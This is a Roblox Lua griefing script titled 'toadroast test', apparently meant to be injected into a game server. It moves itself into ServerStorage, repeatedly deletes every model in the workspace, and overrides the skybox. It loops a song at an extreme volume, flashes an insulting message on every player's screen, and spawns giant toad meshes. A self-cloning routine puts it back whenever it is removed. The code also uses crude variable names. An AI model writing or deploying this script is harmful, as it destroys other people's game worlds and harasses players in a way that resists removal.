toadroast test

dick = script
poop = game.ServerStorage
dick.Parent = poop
wait(1)
math.randomseed(tick() % 1 * 1e6)
sky = coroutine.create(function()
   while wait(0.3) do
       s = Instance.new("Sky",game.Lighting)
       s.SkyboxBk,s.SkyboxDn,s.SkyboxFt,s.SkyboxLf,s.SkyboxRt,s.SkyboxUp = "rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408","rbxassetid://201208408"
       s.CelestialBodiesShown = false
   end
end)


del = coroutine.create(function()
   while wait(0.3) do
       for i,v in pairs(workspace:GetChildren()) do
           if v:IsA("Model") then
               v:Destroy()
           end
       end
   end
end)



for i,v in pairs(game.Players:GetChildren()) do
   v.Character.Archivable = true
end

noises = {'rbxassetid://230287740','rbxassetid://271787597','rbxassetid://153752123','rbxassetid://271787503'}

sound = coroutine.create(function()
   a = Instance.new("Sound",workspace)
   a.SoundId = "rbxassetid://141509625"
   a.Name = "RAINING MEN"
   a.Volume = 58359
   a.Looped = true
   a:Play()
   a.PlaybackSpeed = 0.97
   e = Instance.new("EqualizerSoundEffect",a)
   e.HighGain = 10
   e.LowGain = 5
   e.MidGain = -2
   e.Priority = 1
   while wait(0.2) do
       rainin = workspace:FindFirstChild("RAINING MEN")
       if not rainin then
           a = Instance.new("Sound",workspace)
           a.SoundId = "rbxassetid://141509625"
           a.Name = "RAINING MEN"
           a.Volume = 58359
           a.Looped = true
           a.PlaybackSpeed = 0.97
           a:Play()
           e = Instance.new("EqualizerSoundEffect",a)
           e.HighGain = 10
           e.LowGain = 5
           e.MidGain = -2
           e.Priority = 1
       end
   end
end)

msg = coroutine.create(function()
    ready = true
    while ready == true do
        ready = false
    for i,v in pairs(game.Players:GetChildren()) do
        coroutine.resume(coroutine.create(function()
            local ScreenGui = Instance.new("ScreenGui",v.PlayerGui)
            local Frame = Instance.new("Frame",ScreenGui)
            local TextLabel = Instance.new("TextLabel",Frame)
            Frame.BackgroundTransparency = 1
            Frame.Size = UDim2.new(1, 0,1, 0)
            Frame.Position = UDim2.new(0, 0,0, 0)
            TextLabel.Text = 'get toadroasted you bacon-haired bozos'
            TextLabel.TextSize = 21
            TextLabel.Font = "Arial"
            TextLabel.Position = UDim2.new(0, 0,0, 0)
            TextLabel.Size = UDim2.new(1, 0,1, 0)
            TextLabel.TextColor3 = Color3.fromRGB(255, 255, 255)
            TextLabel.TextStrokeColor3 = Color3.fromRGB(0, 0, 0)
            TextLabel.TextStrokeTransparency = 0
            TextLabel.BackgroundTransparency = 0.5
            TextLabel.BackgroundColor3 = Color3.fromRGB(128, 128, 128)
            wait(0.4)
            ScreenGui:Destroy()
        end))
    end
        wait(0.8)
        ready = true
    end
end)


rain = coroutine.create(function()
   while wait(10 % 1 * 1e2) do
       part = Instance.new("Part",workspace)
       part.Name = "Toad"

       mesh = Instance.new("SpecialMesh",part)

       sound = Instance.new("Sound",workspace)

       part.CanCollide = false
       part.Size = Vector3.new(440,530,380)
       part.Position = Vector3.new(math.random(-3000,1000),math.random(1,3000),math.random(-3000,3000))

       sound.SoundId = noises[math.random(1,#noises)]
       sound:Play()
       sound.Ended:connect(function()
           sound:Destroy()
       end)


       mesh.MeshType = "FileMesh"
       mesh.MeshId = "rbxassetid://430210147"
       mesh.TextureId = "rbxassetid://430210159"
   end
end)
coroutine.resume(sky)
coroutine.resume(del)
coroutine.resume(sound)
coroutine.resume(msg)
coroutine.resume(rain)
local Settings={["Un_Removable"]= "On"}
local function mFloor(x) return x - x % 1 end
local Un_Removable = tostring(Settings["Un_Removable"]):lower() == "on"
if Un_Removable then
    Game.Workspace.DescendantRemoving:connect(function(Child)
        if not Remove_At_Will and Child == script then
            script:Clone().Parent = Game.Workspace
        end
end)
end